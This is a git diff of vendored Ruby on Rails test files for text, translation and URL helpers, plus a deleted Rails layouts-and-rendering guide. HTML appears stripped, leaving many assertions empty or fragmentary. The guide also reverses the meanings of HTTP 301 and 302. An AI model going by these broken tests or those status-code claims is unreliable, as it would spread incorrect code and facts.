    ") end + def test_auto_link_other_protocols + ftp_raw = 'ftp://example.com/file.txt' + assert_equal %(Download #{generate_result(ftp_raw)}), auto_link("Download #{ftp_raw}") + + file_scheme = 'file:///home/username/RomeoAndJuliet.pdf' + z39_scheme = 'z39.50r://host:696/db' + chrome_scheme = 'chrome://package/section/path' + view_source = 'view-source:http://en.wikipedia.org/wiki/URI_scheme' + assert_equal generate_result(z39_scheme), auto_link(z39_scheme) + assert_equal generate_result(chrome_scheme), auto_link(chrome_scheme) + assert_equal generate_result(view_source), auto_link(view_source) + end + def test_auto_link_already_linked linked1 = generate_result('Ruby On Rails', 'http://www.rubyonrails.com') - linked2 = generate_result('www.rubyonrails.com', 'http://www.rubyonrails.com') + linked2 = %('www.example.com') + linked3 = %('www.example.com') + linked4 = %('www.example.com') + linked5 = %('close www.example.com') assert_equal linked1, auto_link(linked1) assert_equal linked2, auto_link(linked2) + assert_equal linked3, auto_link(linked3) + assert_equal linked4, auto_link(linked4) + assert_equal linked5, auto_link(linked5) + + linked_email = %Q(Mail me) + assert_equal linked_email, auto_link(linked_email) + end + + def test_auto_link_within_tags + link_raw = 'http://www.rubyonrails.org/images/rails.png' + link_result = %Q() + assert_equal link_result, auto_link(link_result) end def test_auto_link_with_brackets @@ -380,12 +420,6 @@ class TextHelperTest < ActionView::TestCase assert_equal "{link: #{link3_result}}", auto_link("{link: #{link3_raw}}") end - def test_auto_link_in_tags - link_raw = 'http://www.rubyonrails.org/images/rails.png' - link_result = %Q() - assert_equal link_result, auto_link(link_result) - end - def test_auto_link_at_eol url1 = "http://api.rubyonrails.com/Foo.html" url2 = "http://www.ruby-doc.org/core/Bar.html" @@ -399,12 +433,32 @@ class TextHelperTest < ActionView::TestCase assert_equal %(

    #{url[0...7]}...
    #{email[0...7]}...

    ), auto_link("

    #{url}
    #{email}

    ") { |url| truncate(url, :length => 10) } end + + def test_auto_link_with_block_with_html + pic = "http://example.com/pic.png" + url = "http://example.com/album?a&b=c" + + assert_equal %(My pic: -- full album here #{generate_result(url)}), auto_link("My pic: #{pic} -- full album here #{url}") { |link| + if link =~ /\.(jpg|gif|png|bmp|tif)$/i + raw %() + else + link + end + } + end def test_auto_link_with_options_hash assert_dom_equal 'Welcome to my new blog at http://www.myblog.com/. Please e-mail me at me@email.com.', auto_link("Welcome to my new blog at http://www.myblog.com/. Please e-mail me at me@email.com.", :link => :all, :html => { :class => "menu", :target => "_blank" }) end + + def test_auto_link_with_multiple_trailing_punctuations + url = "http://youtube.com" + url_result = generate_result(url) + assert_equal url_result, auto_link(url) + assert_equal "(link: #{url_result}).", auto_link("(link: #{url}).") + end def test_cycle_class value = Cycle.new("one", 2, "3") diff --git a/vendor/rails/actionpack/test/template/translation_helper_test.rb b/vendor/rails/actionpack/test/template/translation_helper_test.rb index a20f3c39..6555eaa3 100644 --- a/vendor/rails/actionpack/test/template/translation_helper_test.rb +++ b/vendor/rails/actionpack/test/template/translation_helper_test.rb @@ -1,32 +1,95 @@ require 'abstract_unit' -class TranslationHelperTest < Test::Unit::TestCase +class TranslationHelperTest < ActiveSupport::TestCase include ActionView::Helpers::TagHelper include ActionView::Helpers::TranslationHelper - + attr_reader :request def setup end - + def test_delegates_to_i18n_setting_the_raise_option - I18n.expects(:translate).with(:foo, :locale => 'en', :raise => true) + I18n.expects(:translate).with(['foo'], :locale => 'en', :raise => true).returns([""]) translate :foo, :locale => 'en' end - + def test_returns_missing_translation_message_wrapped_into_span expected = 'en, foo' assert_equal expected, translate(:foo) end + def test_translation_returning_an_array + I18n.expects(:translate).with(["foo"], :raise => true).returns(["foo", "bar"]) + assert_equal ["foo", "bar"], translate(:foo) + end + + def test_translation_of_an_array + assert_deprecated do + I18n.expects(:translate).with(["foo", "bar"], :raise => true).returns(["foo", "bar"]) + assert_equal ["foo", "bar"], translate(["foo", "bar"]) + end + end + + def test_translation_of_an_array_returning_an_array + assert_deprecated do + I18n.expects(:translate).with(["foo", "bar"], :raise => true).returns(["foo", ["bar", "baz"]]) + assert_equal ["foo", ["bar", "baz"]], translate(["foo", "bar"]) + end + end + + def test_translation_of_an_array_with_html + assert_deprecated do + translate_expected = ['foo', 'bar', 'baz'] + I18n.expects(:translate).with(["foo", "bar", "baz_html"], :raise => true).returns(translate_expected) + @view = ActionView::Base.new(ActionController::Base.view_paths, {}) + expected = 'foo, bar, baz' + assert_equal expected, @view.render(:file => "test/array_translation") + end + end + def test_delegates_localize_to_i18n @time = Time.utc(2008, 7, 8, 12, 18, 38) I18n.expects(:localize).with(@time) localize @time end - + def test_scoping_by_partial - expects(:template).returns(stub(:path_without_format_and_extension => "people/index")) - I18n.expects(:translate).with("people.index.foo", :locale => 'en', :raise => true) - translate ".foo", :locale => 'en' + I18n.expects(:translate).with(["test.translation.helper"], :raise => true).returns(["helper"]) + @view = ActionView::Base.new(ActionController::Base.view_paths, {}) + assert_equal "helper", @view.render(:file => "test/translation") + end + + def test_scoping_by_partial_of_an_array + assert_deprecated do + I18n.expects(:translate).with(["test.scoped_array_translation.foo", "test.scoped_array_translation.bar"], :raise => true).returns(["foo", "bar"]) + @view = ActionView::Base.new(ActionController::Base.view_paths, {}) + assert_equal "foo, bar", @view.render(:file => "test/scoped_array_translation") + end + end + + def test_translate_works_with_symbols + I18n.expects(:translate).with(["hello"], :raise => true).returns(["Hello World"]) + assert_equal "Hello World", translate(:hello) + end + + + def test_translate_does_not_mark_plain_text_as_safe_html + I18n.expects(:translate).with(["hello"], :raise => true).returns(["Hello World"]) + assert_equal false, translate("hello").html_safe? + end + + def test_translate_marks_translations_named_html_as_safe_html + I18n.expects(:translate).with(["html"], :raise => true).returns(["Hello World"]) + assert translate("html").html_safe? + end + + def test_translate_marks_translations_with_a_html_suffix_as_safe_html + I18n.expects(:translate).with(["hello_html"], :raise => true).returns(["Hello World"]) + assert translate("hello_html").html_safe? + end + + def test_translation_returning_an_array_ignores_html_suffix + I18n.expects(:translate).with(["foo_html"], :raise => true).returns(["foo", "bar"]) + assert_equal ["foo", "bar"], translate(:foo_html) end end diff --git a/vendor/rails/actionpack/test/template/url_helper_test.rb b/vendor/rails/actionpack/test/template/url_helper_test.rb index 82292cb7..480624f4 100644 --- a/vendor/rails/actionpack/test/template/url_helper_test.rb +++ b/vendor/rails/actionpack/test/template/url_helper_test.rb @@ -88,6 +88,10 @@ class UrlHelperTest < ActionView::TestCase ) end + def test_button_to_returns_an_html_safe_string + assert button_to("Hello", "http://www.example.com").html_safe? + end + def test_link_tag_with_straight_url assert_dom_equal "Hello", link_to("Hello", "http://www.example.com") end @@ -329,11 +333,11 @@ class UrlHelperTest < ActionView::TestCase end def test_mail_to_with_javascript - assert_dom_equal "", mail_to("me@domain.com", "My email", :encode => "javascript") + assert_dom_equal "", mail_to("me@domain.com", "My email", :encode => "javascript") end def test_mail_to_with_javascript_unicode - assert_dom_equal "", mail_to("unicode@example.com", "únicode", :encode => "javascript") + assert_dom_equal "", mail_to("unicode@example.com", "únicode", :encode => "javascript") end def test_mail_with_options @@ -344,7 +348,7 @@ class UrlHelperTest < ActionView::TestCase end def test_mail_to_with_img - assert_dom_equal %(), mail_to('feedback@example.com', '') + assert_dom_equal %(), mail_to('feedback@example.com', ''.html_safe) end def test_mail_to_with_hex @@ -357,8 +361,8 @@ class UrlHelperTest < ActionView::TestCase assert_dom_equal "me(at)domain.com", mail_to("me@domain.com", nil, :encode => "hex", :replace_at => "(at)") assert_dom_equal "My email", mail_to("me@domain.com", "My email", :encode => "hex", :replace_at => "(at)") assert_dom_equal "me(at)domain(dot)com", mail_to("me@domain.com", nil, :encode => "hex", :replace_at => "(at)", :replace_dot => "(dot)") - assert_dom_equal "", mail_to("me@domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)") - assert_dom_equal "", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)") + assert_dom_equal "", mail_to("me@domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)") + assert_dom_equal "", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)") end def protect_against_forgery? @@ -562,6 +566,10 @@ class PolymorphicControllerTest < ActionView::TestCase render :inline => "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>" end + def show_workshop_of_nil_sessions + render :inline => "<%= workshop_sessions_path(nil) %>" + end + def rescue_action(e) raise e end end @@ -608,6 +616,16 @@ class PolymorphicControllerTest < ActionView::TestCase end end + def test_existing_nested_resource_with_nil_id + @controller = SessionsController.new + + with_restful_routing do + assert_raise ActionController::RoutingError do + get :show_workshop_of_nil_sessions + end + end + end + protected def with_restful_routing with_routing do |set| @@ -615,6 +633,7 @@ class PolymorphicControllerTest < ActionView::TestCase map.resources :workshops do |w| w.resources :sessions end + map.show_workshop_of_nil_sessions 'sessions/show_workshop_of_nil_sessions', :controller => 'sessions', :action => 'show_workshop_of_nil_sessions' end yield end diff --git a/vendor/rails/actionpack/test/view/safe_buffer_test.rb b/vendor/rails/actionpack/test/view/safe_buffer_test.rb deleted file mode 100644 index 0b378aeb..00000000 --- a/vendor/rails/actionpack/test/view/safe_buffer_test.rb +++ /dev/null @@ -1,36 +0,0 @@ -require 'abstract_unit' - -class SafeBufferTest < ActionView::TestCase - def setup - @buffer = ActionView::SafeBuffer.new - end - - test "Should look like a string" do - assert @buffer.is_a?(String) - assert_equal "", @buffer - end - - test "Should escape a raw string which is passed to them" do - @buffer << " - - - - - -
    - -
    - -
    - -
    -
    - <%= yield :header_section %> - - <%= yield :index_section %> -
    -
    - -
    -
    -
    - <%= yield %> -
    -
    -
    - -
    - - - diff --git a/vendor/rails/railties/guides/source/layouts_and_rendering.textile b/vendor/rails/railties/guides/source/layouts_and_rendering.textile deleted file mode 100644 index 69faa1b4..00000000 --- a/vendor/rails/railties/guides/source/layouts_and_rendering.textile +++ /dev/null @@ -1,979 +0,0 @@ -h2. Layouts and Rendering in Rails - -This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to: - -* Use the various rendering methods built in to Rails -* Create layouts with multiple content sections -* Use partials to DRY up your views -* Use nested layouts (sub-templates) - -endprologue. - -h3. Overview: How the Pieces Fit Together - -This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide. - -In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide. - -h3. Creating Responses - -From the controller's point of view, there are three ways to create an HTTP response: - -* Call +render+ to create a full response to send back to the browser -* Call +redirect_to+ to send an HTTP redirect status code to the browser -* Call +head+ to create a response consisting solely of HTTP headers to send back to the browser - -I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all. - -h4. Rendering by Default: Convention Over Configuration in Action - -You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your +BooksController+ class: - - -def show - @book = Book.find(params[:id]) -end - - -Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response. - -NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails. - -h4. Using +render+ - -In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. - -TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser. - -h5. Rendering Nothing - -Perhaps the simplest thing you can do with +render+ is to render nothing at all: - - -render :nothing => true - - -This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below). - -TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers. - -h5. Rendering an Action's View - -If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view: - - -def update - @book = Book.find(params[:id]) - if @book.update_attributes(params[:book]) - redirect_to(@book) - else - render "edit" - end - end -end - - -If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller. - -If you prefer, you can use a symbol instead of a string to specify the action to render: - - -def update - @book = Book.find(params[:id]) - if @book.update_attributes(params[:book]) - redirect_to(@book) - else - render :edit - end - end -end - - -To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary as of Rails 2.3): - - -def update - @book = Book.find(params[:id]) - if @book.update_attributes(params[:book]) - redirect_to(@book) - else - render :action => "edit" - end - end -end - - -WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+. - -h5. Rendering an Action's Template from Another Controller - -What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way: - - -render 'products/show' - - -Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier): - - -render :template => 'products/show' - - -h5. Rendering an Arbitrary File - -The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications): - - -render "/u/apps/warehouse_app/current/app/views/products/show" - - -Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier): - - -render :file => - "/u/apps/warehouse_app/current/app/views/products/show" - - -The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content. - -NOTE: By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the +:layout => true+ option. - -TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames. - -h5. Using +render+ with +:inline+ - -The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid: - - -render :inline => - "<% products.each do |p| %>

    <%= p.name %>

    <% end %>" - - -WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead. - -By default, inline rendering uses ERb. You can force it to use Builder instead with the +:type+ option: - - -render :inline => - "xml.p {'Horrid coding practice!'}", :type => :builder - - -h5. Using +render+ with +:update+ - -You can also render javascript-based page updates inline using the +:update+ option to +render+: - - -render :update do |page| - page.replace_html 'warning', "Invalid options supplied" -end - - -WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. We recommend using a separate rjs template instead, no matter how small the update. - -h5. Rendering Text - -You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+: - - -render :text => "OK" - - -TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML. - -NOTE: By default, if you use the +:text+ option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option - -h5. Rendering JSON - -JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser: - - -render :json => @product - - -TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you. - -h5. Rendering XML - -Rails also has built-in support for converting objects to XML and rendering that XML back to the caller: - - -render :xml => @product - - -TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you. - -h5. Rendering Vanilla JavaScript - -Rails can render vanilla JavaScript (as an alternative to using +update+ with n +.rjs+ file): - - -render :js => "alert('Hello Rails');" - - -This will send the supplied string to the browser with a MIME type of +text/javascript+. - -h5. Options for +render+ - -Calls to the +render+ method generally accept four options: - -* +:content_type+ -* +:layout+ -* +:status+ -* +:location+ - -h6. The +:content_type+ Option - -By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option: - - -render :file => filename, :content_type => 'application/rss' - - -h6. The +:layout+ Option - -With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. - -You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action: - - -render :layout => 'special_layout' - - -You can also tell Rails to render with no layout at all: - - -render :layout => false - - -h6. The +:status+ Option - -Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this: - - -render :status => 500 -render :status => :forbidden - - -Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how Rails maps symbols to status codes. - -h6. The +:location+ Option - -You can use the +:location+ option to set the HTTP +Location+ header: - - -render :xml => photo, :location => photo_url(photo) - - -h5. Finding Layouts - -To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+ ot +/app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. - -h6. Specifying Layouts on a per-Controller Basis - -You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example: - - -class ProductsController < ApplicationController - layout "inventory" - #... -end - - -With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout. - -To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class: - - -class ApplicationController < ActionController::Base - layout "main" - #... -end - - -With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout. - -h6. Choosing Layouts at Runtime - -You can use a symbol to defer the choice of layout until a request is processed: - - -class ProductsController < ApplicationController - layout :products_layout - - def show - @product = Product.find(params[:id]) - end - - private - def products_layout - @current_user.special? ? "special" : "products" - end - -end - - -Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout: - - -class ProductsController < ApplicationController - layout proc { |controller| controller.request.xhr? ? 'popup' : 'application' } - # ... -end - - -h6. Conditional Layouts - -Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names: - - -class ProductsController < ApplicationController - layout "product", :except => [:index, :rss] - #... -end - - -With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods. - -h6. Layout Inheritance - -Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example: - -* +application_controller.rb+ - - -class ApplicationController < ActionController::Base - layout "main" - #... -end - - -* +posts_controller.rb+ - - -class PostsController < ApplicationController - # ... -end - - -* +special_posts_controller.rb+ - - -class SpecialPostsController < PostsController - layout "special" - # ... -end - - -* +old_posts_controller.rb+ - - -class OldPostsController < SpecialPostsController - layout nil - - def show - @post = Post.find(params[:id]) - end - - def index - @old_posts = Post.older - render :layout => "old" - end - # ... -end - - -In this application: - -* In general, views will be rendered in the +main+ layout -* +PostsController#index+ will use the +main+ layout -* +SpecialPostsController#index+ will use the +special+ layout -* +OldPostsController#show+ will use no layout at all -* +OldPostsController#index+ will use the +old+ layout - -h5. Avoiding Double Render Errors - -Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works. - -For example, here's some code that will trigger this error: - - -def show - @book = Book.find(params[:id]) - if @book.special? - render :action => "special_show" - end - render :action => "regular_show" -end - - -If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +show+ view - and throw an error. The solution is simple: make sure that you only have one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method: - - -def show - @book = Book.find(params[:id]) - if @book.special? - render :action => "special_show" and return - end - render :action => "regular_show" -end - - -Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. So this code will work with problems: - - - def show - @book = Book.find(params[:id]) - if @book.special? - render :action => "special_show" - end - end - - -This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template. - -h4. Using +redirect_to+ - -Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: - - -redirect_to photos_path - - -You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: - - -redirect_to :back - - -h5. Getting a Different Redirect Status Code - -Rails uses HTTP status code 302 (permanent redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the +:status+ option: - - -redirect_to photos_path, :status => 301 - - -Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations. - -h5. The Difference Between +render+ and +redirect_to+ - -Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. - -Consider these actions to see the difference: - - -def index - @books = Book.find(:all) -end - -def show - @book = Book.find(params[:id]) - if @book.nil? - render :action => "index" - end -end - - -With the code in this form, there will be likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering: - - -def index - @books = Book.find(:all) -end - -def show - @book = Book.find(params[:id]) - if @book.nil? - redirect_to :action => "index" - end -end - - -With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. - -h4. Using +head+ To Build Header-Only Responses - -The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header: - - -head :bad_request - - -Or you can use other HTTP headers to convey additional information: - - -head :created, :location => photo_path(@photo) - - -h3. Structuring Layouts - -When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response: - -* Asset tags -* +yield+ and +content_for+ -* Partials - -I'll discuss each of these in turn. - -h4. Asset Tags - -Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag: - -* auto_discovery_link_tag -* javascript_include_tag -* stylesheet_link_tag -* image_tag - -You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout. - -WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. - -h5. Linking to Feeds with +auto_discovery_link_tag+ - -The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: - - -<%= auto_discovery_link_tag(:rss, {:action => "feed"}, - {:title => "RSS Feed"}) %> - - -There are three tag options available for +auto_discovery_link_tag+: - -* +:rel+ specifies the +rel+ value in the link (defaults to "alternate") -* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically -* +:title+ specifies the title of the link - -h5. Linking to Javascript Files with +javascript_include_tag+ - -The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+: - - -<%= javascript_include_tag "main" %> - - -To include +public/javascripts/main.js+ and +public/javascripts/columns.js+: - - -<%= javascript_include_tag "main", "columns" %> - - -To include +public/javascripts/main.js+ and +public/photos/columns.js+: - - -<%= javascript_include_tag "main", "/photos/columns" %> - - -To include +http://example.com/main.js+: - - -<%= javascript_include_tag "http://example.com/main.js" %> - - -The +defaults+ option loads the Prototype and Scriptaculous libraries: - - -<%= javascript_include_tag :defaults %> - - -The +all+ option loads every javascript file in +public/javascripts+, starting with the Prototype and Scriptaculous libraries: - - -<%= javascript_include_tag :all %> - - -You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well: - - -<%= javascript_include_tag :all, :recursive => true %> - - -If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+: - - -<%= javascript_include_tag "main", "columns", :cache => true %> - - -By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead: - - -<%= javascript_include_tag "main", "columns", - :cache => 'cache/main/display' %> - - -You can even use dynamic paths such as +cache/#{current_site}/main/display+. - -h5. Linking to CSS Files with +stylesheet_link_tag+ - -The +stylesheet_link_tag+ helper returns an HTML ++ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.cs+: - - -<%= stylesheet_link_tag "main" %> - - -To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+: - - -<%= stylesheet_link_tag "main", "columns" %> - - -To include +public/stylesheets/main.css+ and +public/photos/columns.css+: - - -<%= stylesheet_link_tag "main", "/photos/columns" %> - - -To include +http://example.com/main.cs+: - - -<%= stylesheet_link_tag "http://example.com/main.cs" %> - - -By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type): - - -<%= stylesheet_link_tag "main_print", media => "print" %> - - -The +all+ option links every CSS file in +public/stylesheets+: - - -<%= stylesheet_link_tag :all %> - - -You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well: - - -<%= stylesheet_link_tag :all, :recursive => true %> - - -If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+: - - -<%= stylesheet_link_tag "main", "columns", :cache => true %> - - -By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead: - - -<%= stylesheet_link_tag "main", "columns", - :cache => 'cache/main/display' %> - - -You can even use dynamic paths such as +cache/#{current_site}/main/display+. - -h5. Linking to Images with +image_tag+ - -The +image_tag+ helper builds an HTML +<image>+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, +.png+ is assumed by default: - - -<%= image_tag "header" %> - - -You can supply a path to the image if you like: - - -<%= image_tag "icons/delete.gif" %> - - -You can supply a hash of additional HTML options: - - -<%= image_tag "icons/delete.gif", :height => 45 %> - - -There are also three special options you can use with +image_tag+: - -* +:alt+ specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension) -* +:size+ specifies both width and height, in the format "{width}x{height}" (for example, "150x125") -* +:mouseover+ sets an alternate image to be used when the onmouseover event is fired. - -h4. Understanding +yield+ - -Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted: - - - - - - - <%= yield %> - - - - -You can also create a layout with multiple yielding regions: - - - - - <%= yield :head %> - - - <%= yield %> - - - - -The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. - -h4. Using +content_for+ - -The +content_for+ method allows you to insert content into a +yield+ block in your layout. You only use +content_for+ to insert content in named yields. For example, this view would work with the layout that you just saw: - - -<% content_for :head do %> - A simple page -<% end %> - -

    Hello, Rails!

    - - -The result of rendering this page into the supplied layout would be this HTML: - - - - - A simple page - - -

    Hello, Rails!

    - - -
    - -The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise generic layout. - -h4. Using Partials - -Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file. - -h5. Naming Partials - -To render a partial as part of a view, you use the +render+ method within the view, and include the +:partial+ option: - - -<%= render :partial => "menu" %> - - -This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder: - - -<%= render :partial => "shared/menu" %> - - -That code will pull in the partial from +app/views/shared/_menu.html.erb+. - -h5. Using Partials to Simplify Views - -One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: - - -<%= render :partial => "shared/ad_banner" %> - -

    Products

    - -

    Here are a few of our fine products:

    -... - -<%= render :partial => "shared/footer" %> -
